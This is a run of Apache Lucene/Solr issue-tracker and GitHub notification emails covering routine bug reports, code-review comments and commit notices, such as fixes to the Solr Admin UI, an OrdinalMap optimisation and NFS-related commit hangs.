[ https://issues.apache.org/jira/browse/SOLR-14549?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214987#comment-17214987 ] Kevin Risden commented on SOLR-14549: - PR https://github.com/apache/lucene-solr/pull/1989 > Listing of Files in a Directory on Solr Admin is Broken > --- > > Key: SOLR-14549 > URL: https://issues.apache.org/jira/browse/SOLR-14549 > Project: Solr > Issue Type: Bug > Components: Admin UI >Affects Versions: master (9.0), 8.6, 8.5.1, 8.5.2, 8.6.1, 8.6.2, 8.6.3 >Reporter: David Eric Pugh >Assignee: Kevin Risden >Priority: Major > Attachments: Screenshot at Jun 09 07-40-06.png > > Time Spent: 10m > Remaining Estimate: 0h > > The Admin interface for showing files only lets you see the top level files, > no nested files in a directory: > http://localhost:8983/solr/#/gettingstarted/files?file=lang%2F > Choosing a nested directory doesn't generate any console errors, but the tree > doesn't open. > I believe this was introduced during SOLR-14209 upgrade in Jquery. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (LUCENE-9576) nuke SSD detection: was IndexWriter::commit() hangs when the server has a stale NFS mount.
[ https://issues.apache.org/jira/browse/LUCENE-9576?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214986#comment-17214986 ] Robert Muir commented on LUCENE-9576: - sure. but if i index to /data on local storage, why should lucene hang because of my unrelated stale /seinfeldepisodes mount? thats the bug here. > nuke SSD detection: was IndexWriter::commit() hangs when the server has a > stale NFS mount. > -- > > Key: LUCENE-9576 > URL: https://issues.apache.org/jira/browse/LUCENE-9576 > Project: Lucene - Core > Issue Type: Bug > Components: core/index >Affects Versions: 8.5.2 >Reporter: Girish Nayak >Assignee: Robert Muir >Priority: Major > Fix For: master (9.0) > > Attachments: IndexWriter-commit.PNG, LUCENE-9576.patch, > LUCENE-9576.patch > > > Noticed IndexWriter::commit() hangs when the server has one or more stale NFS > mounts. > -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Updated] (SOLR-14549) Listing of Files in a Directory on Solr Admin is Broken
[ https://issues.apache.org/jira/browse/SOLR-14549?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Kevin Risden updated SOLR-14549: Status: Patch Available (was: Open) > Listing of Files in a Directory on Solr Admin is Broken > --- > > Key: SOLR-14549 > URL: https://issues.apache.org/jira/browse/SOLR-14549 > Project: Solr > Issue Type: Bug > Components: Admin UI >Affects Versions: master (9.0), 8.5.1, 8.5.2 >Reporter: David Eric Pugh >Assignee: Kevin Risden >Priority: Major > Attachments: Screenshot at Jun 09 07-40-06.png > > Time Spent: 10m > Remaining Estimate: 0h > > The Admin interface for showing files only lets you see the top level files, > no nested files in a directory: > http://localhost:8983/solr/#/gettingstarted/files?file=lang%2F > Choosing a nested directory doesn't generate any console errors, but the tree > doesn't open. > I believe this was introduced during SOLR-14209 upgrade in Jquery. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Updated] (SOLR-14549) Listing of Files in a Directory on Solr Admin is Broken
[ https://issues.apache.org/jira/browse/SOLR-14549?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Kevin Risden updated SOLR-14549: Affects Version/s: 8.6 8.6.1 8.6.2 8.6.3 > Listing of Files in a Directory on Solr Admin is Broken > --- > > Key: SOLR-14549 > URL: https://issues.apache.org/jira/browse/SOLR-14549 > Project: Solr > Issue Type: Bug > Components: Admin UI >Affects Versions: master (9.0), 8.6, 8.5.1, 8.5.2, 8.6.1, 8.6.2, 8.6.3 >Reporter: David Eric Pugh >Assignee: Kevin Risden >Priority: Major > Attachments: Screenshot at Jun 09 07-40-06.png > > Time Spent: 10m > Remaining Estimate: 0h > > The Admin interface for showing files only lets you see the top level files, > no nested files in a directory: > http://localhost:8983/solr/#/gettingstarted/files?file=lang%2F > Choosing a nested directory doesn't generate any console errors, but the tree > doesn't open. > I believe this was introduced during SOLR-14209 upgrade in Jquery. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] risdenk opened a new pull request #1989: SOLR-14549 - Fix listing of Files in a Directory on Solr Admin UI
risdenk opened a new pull request #1989: URL: https://github.com/apache/lucene-solr/pull/1989 # Description This fixes the listing of Files in a directory in the Solr Admin UI # Solution * Ensure that jstree can update data behind the scenes * Fix file jstree object to represent open/closed correctly * Upgrade jstree to 3.3.10 for compatibility with JQuery 3.5.x # Tests * Manually built Solr and checked that reported issue is no longer visible. * `./gradlew check -x test` # Checklist Please review the following and check all that apply: - [X] I have reviewed the guidelines for [How to Contribute](https://wiki.apache.org/solr/HowToContribute) and my code conforms to the standards described there to the best of my ability. - [X] I have created a Jira issue and added the issue ID to my pull request title. - [X] I have given Solr maintainers [access](https://help.github.com/en/articles/allowing-changes-to-a-pull-request-branch-created-from-a-fork) to contribute to my PR branch. (optional but recommended) - [X] I have developed this patch against the `master` branch. - [X] I have run `./gradlew check`. - [ ] I have added tests for my changes. - [ ] I have added documentation for the [Ref Guide](https://github.com/apache/lucene-solr/tree/master/solr/solr-ref-guide) (for Solr changes only). This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Resolved] (SOLR-14938) Solr 8.6.3
[ https://issues.apache.org/jira/browse/SOLR-14938?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Anshum Gupta resolved SOLR-14938. - Resolution: Invalid [~krisgurusamy] - Please ask questions regarding usage on the Solr user mailing list. JIRA is meant for issue tracking purposes. > Solr 8.6.3 > -- > > Key: SOLR-14938 > URL: https://issues.apache.org/jira/browse/SOLR-14938 > Project: Solr > Issue Type: Bug > Security Level: Public(Default Security Level. Issues are Public) > Components: contrib - DataImportHandler >Reporter: Krishnan >Priority: Major > > I've just downloaded solr 8.6.3 and trying to create DIH for loading > structured XML. I found out that DIH will be deprecated soon with version > 9.0. What is the equivalent of DIH in new solr version? How do I import > structured XML data which is very custom and index in Solr new version? Any > help is appreciated. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] mikemccand commented on a change in pull request #1948: LUCENE-9536: Optimize OrdinalMap when one segment contains all distinct values.
mikemccand commented on a change in pull request #1948:
URL: https://github.com/apache/lucene-solr/pull/1948#discussion_r505800348
##
File path: lucene/core/src/java/org/apache/lucene/index/OrdinalMap.java
##
@@ -271,13 +273,26 @@ protected boolean lessThan(TermsEnumIndex a,
TermsEnumIndex b) {
globalOrd++;
}
-this.firstSegments = firstSegments.build();
-this.globalOrdDeltas = globalOrdDeltas.build();
+long ramBytesUsed = BASE_RAM_BYTES_USED + segmentMap.ramBytesUsed();
+this.valueCount = globalOrd;
+
+// If the first segment contains all of the global ords, then we can apply
a small optimization
+// and hardcode the first segments and global ord deltas as all zeroes.
+if (ordDeltaBits.length > 0 && ordDeltaBits[0] == 0L &&
ordDeltas[0].size() == this.valueCount) {
Review comment:
> > Do we (somewhere, couldn't find it here) pre-sort all segments by
the cardinality descending?
>
> We do in fact -- the segments are sorted by 'weight', which in all call
sites corresponds to the number of unique terms. This was added in
[LUCENE-5782](https://issues.apache.org/jira/browse/LUCENE-5782).
Ahh, so then we know the first segment will indeed have the most unique
terms, and therefore the highest chance of having "all 0s" ord deltas.
I think 2nd and 3rd segments also might have all 0s ord deltas? But we can
try to optimize that in a followon issue ... progress not perfection!
> > Does our PackedLongValues.monotonicBuilder already optimize for the case
where it is all 0s, for the case where another segment (not the first) has all
the global values as well?
>
> When constructing the individual `PackedInts.Reader` instances, we do
identify the all 0s case and use the lightweight `PackedInts.NullReader`. It's
great we optimize that case, but it does mean this PR doesn't make an enormous
space difference.
Got it. Well, it's great that all these layers optimize :)
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] mikemccand commented on a change in pull request #1948: LUCENE-9536: Optimize OrdinalMap when one segment contains all distinct values.
mikemccand commented on a change in pull request #1948:
URL: https://github.com/apache/lucene-solr/pull/1948#discussion_r505798431
##
File path: lucene/core/src/java/org/apache/lucene/index/OrdinalMap.java
##
@@ -271,13 +273,26 @@ protected boolean lessThan(TermsEnumIndex a,
TermsEnumIndex b) {
globalOrd++;
}
-this.firstSegments = firstSegments.build();
-this.globalOrdDeltas = globalOrdDeltas.build();
+long ramBytesUsed = BASE_RAM_BYTES_USED + segmentMap.ramBytesUsed();
+this.valueCount = globalOrd;
+
+// If the first segment contains all of the global ords, then we can apply
a small optimization
+// and hardcode the first segments and global ord deltas as all zeroes.
Review comment:
Oh I thought it was `the first segment's deltas as all zeros` and alos
the `global ord deltas as all zeros`? But I'm OK with just rewording it to
make it less controversial, or even just leaving this wording!
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (LUCENE-9576) nuke SSD detection: was IndexWriter::commit() hangs when the server has a stale NFS mount.
[ https://issues.apache.org/jira/browse/LUCENE-9576?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214958#comment-17214958 ] Michael McCandless commented on LUCENE-9576: But note that a stale NFS mount might still cause Lucene to hang! No guarantees about how Lucene behaves if you try to read/write an index on a box that has stale NFS mounts! Separately, +1 to default to assuming the storage backing our index is not rotating magnets. > nuke SSD detection: was IndexWriter::commit() hangs when the server has a > stale NFS mount. > -- > > Key: LUCENE-9576 > URL: https://issues.apache.org/jira/browse/LUCENE-9576 > Project: Lucene - Core > Issue Type: Bug > Components: core/index >Affects Versions: 8.5.2 >Reporter: Girish Nayak >Assignee: Robert Muir >Priority: Major > Fix For: master (9.0) > > Attachments: IndexWriter-commit.PNG, LUCENE-9576.patch, > LUCENE-9576.patch > > > Noticed IndexWriter::commit() hangs when the server has one or more stale NFS > mounts. > -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (LUCENE-9576) nuke SSD detection: was IndexWriter::commit() hangs when the server has a stale NFS mount.
[ https://issues.apache.org/jira/browse/LUCENE-9576?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214956#comment-17214956 ] Michael McCandless commented on LUCENE-9576: Yeah +1 to default to assuming we are writing the index to non-rotational storage! > nuke SSD detection: was IndexWriter::commit() hangs when the server has a > stale NFS mount. > -- > > Key: LUCENE-9576 > URL: https://issues.apache.org/jira/browse/LUCENE-9576 > Project: Lucene - Core > Issue Type: Bug > Components: core/index >Affects Versions: 8.5.2 >Reporter: Girish Nayak >Assignee: Robert Muir >Priority: Major > Fix For: master (9.0) > > Attachments: IndexWriter-commit.PNG, LUCENE-9576.patch, > LUCENE-9576.patch > > > Noticed IndexWriter::commit() hangs when the server has one or more stale NFS > mounts. > -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14651) Metrics history could disable itself better
[
https://issues.apache.org/jira/browse/SOLR-14651?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214949#comment-17214949
]
David Smiley commented on SOLR-14651:
-
I'm looking back at this. When enable="false", it's disabled/disfunctional but
still exists, and thus you can try to communicate with it but you'll end up
getting an NPE. IMO, I should have gone further – enable=false should result
in no instantiation of the metrics history handler at all. Similar to Mark
Miller's branch. That said, the documentation on "enable" at the above link
says:
{quote}If this is {{false}} then metrics history is not collected but can still
be retrieved from existing databases.
{quote}
[~ab] is that really intentional? If so, then my change committed here (this
issue) breaks that. Should I simply update the docs or...?
> Metrics history could disable itself better
> ---
>
> Key: SOLR-14651
> URL: https://issues.apache.org/jira/browse/SOLR-14651
> Project: Solr
> Issue Type: Improvement
> Components: metrics
>Reporter: David Smiley
>Assignee: David Smiley
>Priority: Minor
> Fix For: 8.7
>
> Time Spent: 50m
> Remaining Estimate: 0h
>
> The MetricsHistoryHandler should disable itself better than it does. It will
> create a SolrRrdBackendFactory (which has an ExecutorService / thread pool)
> when it should not when the plugin is disabled. Furthermore, I think this
> should be disabled by default in tests, as it's excessive machinery that
> don't matter to 99.9% of tests. This will help our tests run more
> efficiently.
> While working on other issues, I also occasionally saw a thread leak failure
> with the RRD being the leaked threads. I see that in "close", we don't
> _wait_ for the executor to actually shut down but it should.
> CC [~ab]
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] epugh commented on pull request #1985: SOLR-14932: Broken "Add replica" button in solr admin UI
epugh commented on pull request #1985: URL: https://github.com/apache/lucene-solr/pull/1985#issuecomment-709544426 closing since these improvements were merged in #1988.Thank you @poke19962008 for the fix, and let me know if I need to do something to make sure you get your Hacktoberfest points! Can't wait for more Admin UI fixes. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] epugh closed pull request #1985: SOLR-14932: Broken "Add replica" button in solr admin UI
epugh closed pull request #1985: URL: https://github.com/apache/lucene-solr/pull/1985 This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf commented on pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf commented on pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#issuecomment-709522905 Oh darn, out thought myself looking at the diff where I added a setFlags forgot that the stored state is copying flags already never-mind. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Resolved] (SOLR-14483) AdminUI - Create replica - empty drop-down
[
https://issues.apache.org/jira/browse/SOLR-14483?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
David Eric Pugh resolved SOLR-14483.
Fix Version/s: 8.7
Resolution: Fixed
> AdminUI - Create replica - empty drop-down
> --
>
> Key: SOLR-14483
> URL: https://issues.apache.org/jira/browse/SOLR-14483
> Project: Solr
> Issue Type: Bug
> Components: Admin UI
>Affects Versions: 8.5.1
> Environment: Debian-10 based
> Solr: 8.5.1
> Firefox/google-chrome
>Reporter: Morten Bøgeskov
>Assignee: David Eric Pugh
>Priority: Minor
> Fix For: 8.7
>
> Time Spent: 20m
> Remaining Estimate: 0h
>
> When you wish to add a replica using the Admin UI, and press the "add
> replica" button (under a shard):
> * A json document is fetched:
> /solr/admin/zookeeper?_=xxx&path=%2Flive_nodes&wt=json
> ** payload:
> ** {{{"tree":[{
> "text":"/live_nodes","a_attr":{
> "href":"admin/zookeeper?detail=true&path=%2Flive_nodes"},
> "children":[{
> "text":"host-1.example.com:8983_solr","a_attr":{
>
> "href":"admin/zookeeper?detail=true&path=%2Flive_nodes%2Fhost-1.example.com%3A8983_solr"},
> "ephemeral":true,
> "version":0},...}}
> * A JavaScript console error:
> ** Firefox:
> ** {{TypeError: "children[child].data is undefined"}}
> Angular 15
> jQuery 8
> Angular 24{{ Possibly unhandled rejection: {}
> [angular.min.js:146:303|http://socl-p01:18003/solr/libs/angular.min.js]}}
> Angular 15
> jQuery 8
> {{Angular 24}}
> ** Google-chrome:
> ** TypeError: Cannot read property 'title' of undefined
> at collections.js:219
> at I (angular-resource.min.js:31)
> at angular.min.js:159
> at m.$digest (angular.min.js:170)
> at m.$apply (angular.min.js:174)
> at k (angular.min.js:125)
> at v (angular.min.js:130)
> at XMLHttpRequest.y.onload (angular.min.js:131) "Possibly unhandled
> rejection: {}"
> Resulting in an empty drop-down.
>
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14483) AdminUI - Create replica - empty drop-down
[
https://issues.apache.org/jira/browse/SOLR-14483?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214915#comment-17214915
]
ASF subversion and git services commented on SOLR-14483:
Commit 3d0e2b0fc8c92d1963f4b74b48632eb0c684990f in lucene-solr's branch
refs/heads/branch_8x from Eric Pugh
[ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=3d0e2b0 ]
SOLR-14483 (#1988)
* fixed broken select box
* converted tabs to spaces :sigh:
* Fix the refreshing of the scope
* track fix
Co-authored-by: sayan.das
> AdminUI - Create replica - empty drop-down
> --
>
> Key: SOLR-14483
> URL: https://issues.apache.org/jira/browse/SOLR-14483
> Project: Solr
> Issue Type: Bug
> Components: Admin UI
>Affects Versions: 8.5.1
> Environment: Debian-10 based
> Solr: 8.5.1
> Firefox/google-chrome
>Reporter: Morten Bøgeskov
>Assignee: David Eric Pugh
>Priority: Minor
> Time Spent: 20m
> Remaining Estimate: 0h
>
> When you wish to add a replica using the Admin UI, and press the "add
> replica" button (under a shard):
> * A json document is fetched:
> /solr/admin/zookeeper?_=xxx&path=%2Flive_nodes&wt=json
> ** payload:
> ** {{{"tree":[{
> "text":"/live_nodes","a_attr":{
> "href":"admin/zookeeper?detail=true&path=%2Flive_nodes"},
> "children":[{
> "text":"host-1.example.com:8983_solr","a_attr":{
>
> "href":"admin/zookeeper?detail=true&path=%2Flive_nodes%2Fhost-1.example.com%3A8983_solr"},
> "ephemeral":true,
> "version":0},...}}
> * A JavaScript console error:
> ** Firefox:
> ** {{TypeError: "children[child].data is undefined"}}
> Angular 15
> jQuery 8
> Angular 24{{ Possibly unhandled rejection: {}
> [angular.min.js:146:303|http://socl-p01:18003/solr/libs/angular.min.js]}}
> Angular 15
> jQuery 8
> {{Angular 24}}
> ** Google-chrome:
> ** TypeError: Cannot read property 'title' of undefined
> at collections.js:219
> at I (angular-resource.min.js:31)
> at angular.min.js:159
> at m.$digest (angular.min.js:170)
> at m.$apply (angular.min.js:174)
> at k (angular.min.js:125)
> at v (angular.min.js:130)
> at XMLHttpRequest.y.onload (angular.min.js:131) "Possibly unhandled
> rejection: {}"
> Resulting in an empty drop-down.
>
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] epugh merged pull request #1988: SOLR-14483
epugh merged pull request #1988: URL: https://github.com/apache/lucene-solr/pull/1988 This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14483) AdminUI - Create replica - empty drop-down
[
https://issues.apache.org/jira/browse/SOLR-14483?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214914#comment-17214914
]
ASF subversion and git services commented on SOLR-14483:
Commit d7e58ede0ed2a0116c7a5fc880f9921c18a446c0 in lucene-solr's branch
refs/heads/master from Eric Pugh
[ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=d7e58ed ]
SOLR-14483 (#1988)
* fixed broken select box
* converted tabs to spaces :sigh:
* Fix the refreshing of the scope
* track fix
Co-authored-by: sayan.das
> AdminUI - Create replica - empty drop-down
> --
>
> Key: SOLR-14483
> URL: https://issues.apache.org/jira/browse/SOLR-14483
> Project: Solr
> Issue Type: Bug
> Components: Admin UI
>Affects Versions: 8.5.1
> Environment: Debian-10 based
> Solr: 8.5.1
> Firefox/google-chrome
>Reporter: Morten Bøgeskov
>Assignee: David Eric Pugh
>Priority: Minor
> Time Spent: 20m
> Remaining Estimate: 0h
>
> When you wish to add a replica using the Admin UI, and press the "add
> replica" button (under a shard):
> * A json document is fetched:
> /solr/admin/zookeeper?_=xxx&path=%2Flive_nodes&wt=json
> ** payload:
> ** {{{"tree":[{
> "text":"/live_nodes","a_attr":{
> "href":"admin/zookeeper?detail=true&path=%2Flive_nodes"},
> "children":[{
> "text":"host-1.example.com:8983_solr","a_attr":{
>
> "href":"admin/zookeeper?detail=true&path=%2Flive_nodes%2Fhost-1.example.com%3A8983_solr"},
> "ephemeral":true,
> "version":0},...}}
> * A JavaScript console error:
> ** Firefox:
> ** {{TypeError: "children[child].data is undefined"}}
> Angular 15
> jQuery 8
> Angular 24{{ Possibly unhandled rejection: {}
> [angular.min.js:146:303|http://socl-p01:18003/solr/libs/angular.min.js]}}
> Angular 15
> jQuery 8
> {{Angular 24}}
> ** Google-chrome:
> ** TypeError: Cannot read property 'title' of undefined
> at collections.js:219
> at I (angular-resource.min.js:31)
> at angular.min.js:159
> at m.$digest (angular.min.js:170)
> at m.$apply (angular.min.js:174)
> at k (angular.min.js:125)
> at v (angular.min.js:130)
> at XMLHttpRequest.y.onload (angular.min.js:131) "Possibly unhandled
> rejection: {}"
> Resulting in an empty drop-down.
>
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Created] (SOLR-14938) Solr 8.6.3
Krishnan created SOLR-14938: --- Summary: Solr 8.6.3 Key: SOLR-14938 URL: https://issues.apache.org/jira/browse/SOLR-14938 Project: Solr Issue Type: Bug Security Level: Public (Default Security Level. Issues are Public) Components: contrib - DataImportHandler Reporter: Krishnan I've just downloaded solr 8.6.3 and trying to create DIH for loading structured XML. I found out that DIH will be deprecated soon with version 9.0. What is the equivalent of DIH in new solr version? How do I import structured XML data which is very custom and index in Solr new version? Any help is appreciated. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14654) Remove plugin loading from .system collection (for 9.0)
[ https://issues.apache.org/jira/browse/SOLR-14654?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214895#comment-17214895 ] ASF subversion and git services commented on SOLR-14654: Commit a7a6757afffee9e9a541c80d0c14947645c0d410 in lucene-solr's branch refs/heads/pr1985 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=a7a6757 ] SOLR-14654: ref guide error > Remove plugin loading from .system collection (for 9.0) > --- > > Key: SOLR-14654 > URL: https://issues.apache.org/jira/browse/SOLR-14654 > Project: Solr > Issue Type: Task >Reporter: Noble Paul >Priority: Major > Fix For: master (9.0) > > Time Spent: 0.5h > Remaining Estimate: 0h > > This code must go from master > all places where "runtimeLib" can be used will be removed from 9.0 . With > the new package system in place we don;t need this anymore -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14924) Some ReplicationHandler metrics are reported using incorrect types
[
https://issues.apache.org/jira/browse/SOLR-14924?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214901#comment-17214901
]
ASF subversion and git services commented on SOLR-14924:
Commit 737cf9854a8075275fe89f376ba5b1f7be4c6a9f in lucene-solr's branch
refs/heads/pr1985 from Andrzej Bialecki
[ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=737cf98 ]
SOLR-14924: Some ReplicationHandler metrics are reported using incorrect types.
> Some ReplicationHandler metrics are reported using incorrect types
> --
>
> Key: SOLR-14924
> URL: https://issues.apache.org/jira/browse/SOLR-14924
> Project: Solr
> Issue Type: Improvement
> Security Level: Public(Default Security Level. Issues are Public)
> Components: metrics
>Affects Versions: 8.7, 8.6.3
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Attachments: SOLR-14924.patch
>
>
> Some metrics reported from {{ReplicationHandler}} use incorrect types - they
> are reported as String values instead of the numerics.
> This is caused by using {{ReplicationHandler.addVal}} utility method with the
> type {{Integer.class}}, which the method doesn't support and it returns the
> value as a string.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14930) remove rulebased replica placement strategy
[ https://issues.apache.org/jira/browse/SOLR-14930?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214900#comment-17214900 ] ASF subversion and git services commented on SOLR-14930: Commit 321b4fa0de19078f8da5e4c9692c0aacb874c4aa in lucene-solr's branch refs/heads/pr1985 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=321b4fa ] SOLR-14930: Deprecate rulebased replica placement strategy (remove in 9.0) (#1980) > remove rulebased replica placement strategy > --- > > Key: SOLR-14930 > URL: https://issues.apache.org/jira/browse/SOLR-14930 > Project: Solr > Issue Type: Task > Security Level: Public(Default Security Level. Issues are Public) >Reporter: Noble Paul >Assignee: Noble Paul >Priority: Major > Time Spent: 40m > Remaining Estimate: 0h > > This should be removed from 9.0 > This will be replaced in Solr 9.0 by APIs for replica placement and cluster > events, with plugin-based implementations. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14869) [child] transformer includes deleted documents
[
https://issues.apache.org/jira/browse/SOLR-14869?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214894#comment-17214894
]
ASF subversion and git services commented on SOLR-14869:
Commit fa3e1ad71fd97200b98f9e7d1e461ddfa78e357c in lucene-solr's branch
refs/heads/pr1985 from Bar Rotstein
[ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=fa3e1ad ]
SOLR-14869: ChildDocTransformer should have omitted deleted child documents.
Closes #1970
> [child] transformer includes deleted documents
> --
>
> Key: SOLR-14869
> URL: https://issues.apache.org/jira/browse/SOLR-14869
> Project: Solr
> Issue Type: Bug
>Reporter: Chris M. Hostetter
>Assignee: David Smiley
>Priority: Major
> Fix For: 8.7
>
> Time Spent: 1h 20m
> Remaining Estimate: 0h
>
> If you have nested documents that include "deleted" docs (ie: using "delete
> by query") the {{\[child\]}} transformer still include those deleted docs i
> it's output
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14914) Add option to disable metrics collection
[
https://issues.apache.org/jira/browse/SOLR-14914?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17214899#comment-17214899
]
ASF subversion and git services commented on SOLR-14914:
Commit 2a3da99e2dc006701d0799d84480183c9a81cd3e in lucene-solr's branch
refs/heads/pr1985 from Andrzej Bialecki
[ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2a3da99 ]
SOLR-14914: Add option to disable metrics collection.
> Add option to disable metrics collection
>
>
> Key: SOLR-14914
> URL: https://issues.apache.org/jira/browse/SOLR-14914
> Project: Solr
> Issue Type: Improvement
> Components: metrics
>Reporter: Andrzej Bialecki
>Assignee: Andrzej Bialecki
>Priority: Major
> Fix For: 8.7
>
> Time Spent: 1h
> Remaining Estimate: 0h
>
> Some users have expressed concerns about the overhead of metrics collection,
> and consequently the need to have an option to turn off the metrics
> collection altogether.
> Metrics instrumentation in Solr cannot be itself easily removed or bypassed -
> in order to provide fine-grained metrics many code paths had to be changed
> and they now expect the metrics to be present (non-null). However, we can use
> the mechanism of {{MetricSupplier}} to provide singleton no-op
> implementations of all metrics, which would reduce the CPU overhead to
> basically the cost of an empty method call, and the memory overhead to a
> HashMap entry in a {{MetricRegistry}} (metric names still need to be tracked).
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (LUCENE-9579) Update JUnit to latest 4.x release
